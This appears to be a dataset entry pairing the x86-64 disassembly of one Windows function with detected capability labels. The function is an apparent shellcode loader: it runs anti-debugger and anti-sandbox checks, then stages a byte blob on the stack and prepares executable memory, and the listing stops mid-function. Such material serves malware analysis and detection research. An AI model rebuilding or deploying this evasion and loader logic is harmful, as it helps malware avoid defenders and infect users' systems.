Function at 0x140001020
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Execute command
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Hide thread from debugger
Link many functions at runtime
Terminate process

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
movzx eax, word [0x1400043f4]
movsd xmm0, qword [0x1400043d8]
mov r14d, dword [0x1400043e0]
movzx r15d, word [0x1400043e4]
mov r13d, dword [0x1400043f0]
mov word [rsp + 0x74], ax
mov eax, dword [str.JJM1]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140004404]
mov word [rsp + 0x76], ax
mov eax, dword [0x140004410]
mov dword [rbp - 0x3c], eax
movzx eax, word [0x140004414]
mov word [rsp + 0x78], ax
mov eax, dword [0x140004420]
mov dword [rbp - 0x38], eax
movzx eax, word [0x140004424]
mov word [rsp + 0x7a], ax
mov eax, dword [0x140004430]
mov dword [rbp - 0x34], eax
movzx eax, word [0x140004434]
mov word [rsp + 0x7c], ax
mov eax, dword [0x140004440]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140004444]
mov word [rsp + 0x7e], ax
mov eax, dword [0x140004450]
movsd qword [rbp + 0x50], xmm0
movsd xmm0, qword [str.RQVH1]
mov dword [rbp - 0x2c], eax
movzx eax, word [0x140004454]
movsd qword [rbp + 0x58], xmm0
movsd xmm0, qword [0x1400043f8]
mov word [rbp - 0x80], ax
mov eax, dword [0x140004460]
movsd qword [rbp + 0x60], xmm0
movsd xmm0, qword [0x140004408]
mov dword [rbp - 0x28], eax
movzx eax, word [0x140004464]
movsd qword [rbp + 0x68], xmm0
movsd xmm0, qword [0x140004418]
mov word [rbp - 0x7e], ax
mov eax, dword [0x140004470]
movsd qword [rbp + 0x70], xmm0
movsd xmm0, qword [0x140004428]
mov dword [rbp - 0x24], eax
movzx eax, word [0x140004474]
movsd qword [rbp + 0x78], xmm0
movsd xmm0, qword [0x140004438]
mov word [rbp - 0x7c], ax
mov eax, dword [0x140004480]
movsd qword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140004448]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140004484]
movsd qword [rbp + 0x88], xmm0
movsd xmm0, qword [0x140004458]
mov word [rbp - 0x7a], ax
mov eax, dword [0x140004490]
movsd qword [rbp + 0x90], xmm0
movsd xmm0, qword [0x140004468]
mov dword [rbp - 0x1c], eax
movzx eax, word [0x140004494]
movsd qword [rbp + 0x98], xmm0
movsd xmm0, qword [0x140004478]
mov word [rbp - 0x78], ax
mov eax, dword [0x1400044a0]
movsd qword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140004488]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400044a4]
movsd qword [rbp + 0xa8], xmm0
movsd xmm0, qword [0x140004498]
mov word [rbp - 0x76], ax
mov eax, dword [0x1400044b0]
mov dword [rbp - 0x14], eax
movzx eax, word [0x1400044b4]
movsd qword [rbp + 0xb0], xmm0
movsd xmm0, qword [str.XAXYZAXAYAZH]
mov word [rbp - 0x74], ax
movsd qword [rbp + 0xb8], xmm0
mov eax, dword [0x1400044c0]
movsd xmm0, qword [0x1400044b8]
mov dword [rbp - 0x10], eax
movzx eax, word [0x1400044c4]
mov word [rbp - 0x72], ax
mov eax, dword [0x1400044d0]
mov dword [rbp - 0xc], eax
movzx eax, word [0x1400044d4]
mov word [rbp - 0x70], ax
mov eax, dword [0x1400044e0]
mov dword [rbp - 8], eax
movzx eax, word [0x1400044e4]
mov word [rbp - 0x6e], ax
mov eax, dword [0x1400044f0]
mov dword [rbp - 4], eax
movzx eax, word [0x1400044f4]
mov word [rbp - 0x6c], ax
mov eax, dword [str.Lw_a]
mov dword [rbp], eax
movzx eax, word [0x140004504]
mov word [rbp - 0x6a], ax
mov eax, dword [0x140004510]
mov dword [rbp + 4], eax
movzx eax, word [0x140004514]
mov word [rbp - 0x68], ax
mov eax, dword [0x140004520]
mov dword [rbp + 8], eax
movzx eax, word [0x140004524]
movsd qword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x1400044c8]
mov word [rbp - 0x66], ax
mov eax, dword [0x140004530]
movsd qword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x1400044d8]
mov dword [rbp + 0xc], eax
movzx eax, word [0x140004534]
movsd qword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1400044e8]
mov word [rbp - 0x64], ax
mov eax, dword [0x140004540]
movsd qword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x1400044f8]
mov dword [rbp + 0x10], eax
movzx eax, word [0x140004544]
movsd qword [rbp + 0xe0], xmm0
movsd xmm0, qword [0x140004508]
mov word [rbp - 0x62], ax
mov eax, dword [0x140004550]
movsd qword [rbp + 0x48], xmm0
movsd xmm0, qword [0x140004518]
mov dword [rbp + 0x14], eax
movzx eax, word [0x140004554]
movsd qword [rbp + 0xe8], xmm0
movsd xmm0, qword [0x140004528]
mov word [rbp - 0x60], ax
mov eax, dword [0x140004560]
movsd qword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140004538]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140004564]
movsd qword [rbp + 0xf8], xmm0
movsd xmm0, qword [0x140004548]
mov word [rbp - 0x5e], ax
mov eax, dword [0x140004570]
movsd qword [rbp + 0x100], xmm0
movsd xmm0, qword [0x140004558]
mov dword [rbp + 0x1c], eax
movzx eax, word [0x140004574]
movsd qword [rbp + 0x108], xmm0
movsd xmm0, qword [0x140004568]
mov word [rbp - 0x5c], ax
mov eax, dword [0x140004580]
movsd qword [rbp + 0x110], xmm0
movsd xmm0, qword [0x140004578]
mov dword [rbp + 0x20], eax
movzx eax, word [0x140004584]
movsd qword [rbp + 0x118], xmm0
movsd xmm0, qword [0x140004588]
mov word [rbp - 0x5a], ax
mov eax, dword [0x140004590]
movsd qword [rbp + 0x120], xmm0
movsd xmm0, qword [0x140004598]
lea rcx, [rbp + 0x2d1]
mov dword [rbp + 0x24], eax
xor edx, edx
movzx eax, word [0x140004594]
mov r8d, 0x2cf
mov word [rbp - 0x58], ax
mov eax, dword [0x1400045a0]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400045a4]
mov word [rbp - 0x56], ax
mov eax, dword [0x1400045b0]
mov dword [rbp + 0x2c], eax
movzx eax, word [0x1400045b4]
mov word [rbp - 0x54], ax
mov eax, dword [0x1400045c0]
mov dword [rbp + 0x30], eax
movzx eax, word [0x1400045c4]
mov word [rbp - 0x52], ax
mov eax, dword [0x1400045d0]
mov dword [rbp + 0x34], eax
movzx eax, word [0x1400045d4]
mov word [rbp - 0x50], ax
mov eax, dword [0x1400045e0]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1400045e4]
mov word [rbp - 0x4e], ax
mov eax, dword [0x1400045f0]
mov dword [rbp + 0x3c], eax
movzx eax, word [0x1400045f4]
movsd qword [rbp + 0x128], xmm0
movsd xmm0, qword [0x1400045a8]
mov word [rbp - 0x4c], ax
mov eax, dword [0x140004600]
movsd qword [rbp + 0x130], xmm0
movsd xmm0, qword [0x1400045b8]
mov dword [rbp + 0x40], eax
movzx eax, word [0x140004604]
movsd qword [rbp + 0x138], xmm0
movsd xmm0, qword [0x1400045c8]
mov word [rbp - 0x4a], ax
mov eax, dword [0x140004610]
movsd qword [rbp + 0x140], xmm0
movsd xmm0, qword [0x1400045d8]
mov dword [rbp + 0x44], eax
movzx eax, word [0x140004614]
movsd qword [rbp + 0x148], xmm0
movsd xmm0, qword [0x1400045e8]
mov word [rbp - 0x48], ax
mov eax, dword [0x140004618]
mov dword [rbp - 0x44], eax
movzx eax, word [0x14000461c]
movsd qword [rbp + 0x150], xmm0
movsd xmm0, qword [0x1400045f8]
mov word [rbp - 0x46], ax
movzx eax, byte [0x14000461e]
movsd qword [rbp + 0x158], xmm0
movsd xmm0, qword [0x140004608]
mov byte [rsp + 0x73], al
movsd qword [rbp + 0x160], xmm0
call sub.VCRUNTIME140.dll_memset
lea rcx, str.ping_www.google.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
test eax, eax
je 0x1400015cb
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Impossibile_connettersi_a_internet
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eeguo_tecniche_Anti_debug
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_IsDebuggerPresent
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000166f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x6e0], rbx
mov ecx, 0x3e8
mov qword [rsp + 0x6f0], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDbgPort
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
lea rcx, str.ntdll.dll
mov dword [rbp + 0x168], ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [rbx + 7]
call rdi
test eax, eax
jne 0x14000172e
cmp dword [rbp + 0x168], ebx
je 0x14000172e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDebugFlags
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
mov dword [rbp + 0x168], ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [r9 + 0x1b]
call rdi
test eax, eax
jne 0x1400017de
cmp dword [rbp + 0x168], ebx
jne 0x1400017de
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_Process_ProcessDebugObject
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
mov qword [rbp + 0x168], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [r9 + 0x1a]
call rdi
test eax, eax
jne 0x140001890
cmp qword [rbp + 0x168], rbx
je 0x140001890
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtSetInformationThread_ThreadHideFromDebugger
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rdi
test eax, eax
je 0x140001926
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm1, xmm1
lea rcx, [rbp + 0x220]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rbp + 0x180], rax
mov r8d, 0xb0
mov qword [rbp + 0x210], rax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x1b0], xmm1
movups xmmword [rbp + 0x1c0], xmm1
movups xmmword [rbp + 0x1d0], xmm1
movups xmmword [rbp + 0x1e0], xmm1
movups xmmword [rbp + 0x1f0], xmm1
movups xmmword [rbp + 0x200], xmm1
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x170]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [rbp + 0x184]
mov r8d, 0x10002
mov ecx, dword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_CloseHandleAPI
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001000
test eax, eax
je 0x140001a5e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
mov qword [rsp + 0x6e8], rsi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_HardwareBreakpoints
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
mov edx, 0x4d0
mov r8d, 0x1000
mov esi, ebx
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001b2f
mov rdi, rax
mov ecx, 0x4d0
xor eax, eax
rep stosb byte [rdi], al
mov dword [rbx + 0x30], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001afb
cmp qword [rbx + 0x48], rsi
jne 0x140001af6
cmp qword [rbx + 0x50], rsi
jne 0x140001af6
cmp qword [rbx + 0x58], rsi
jne 0x140001af6
cmp qword [rbx + 0x60], rsi
je 0x140001afb
mov esi, 1
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x140001b2f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.1400024a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controlli_Anti_debugger_finiti
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eeguo_tecniche_Anti_sandbox
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_CheckResources
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x190], 2
jb 0x140002475
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x1b8]
shr rax, 0x1e
cmp eax, 2
jb 0x140002475
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_checkNUMA
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAllocExNuma
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
call rdi
test rax, rax
jne 0x140001cd5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SandBox_rilevata
call fcn.1400024a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_str_trick
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_memory_space
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
lea rcx, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x170], 0x40
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
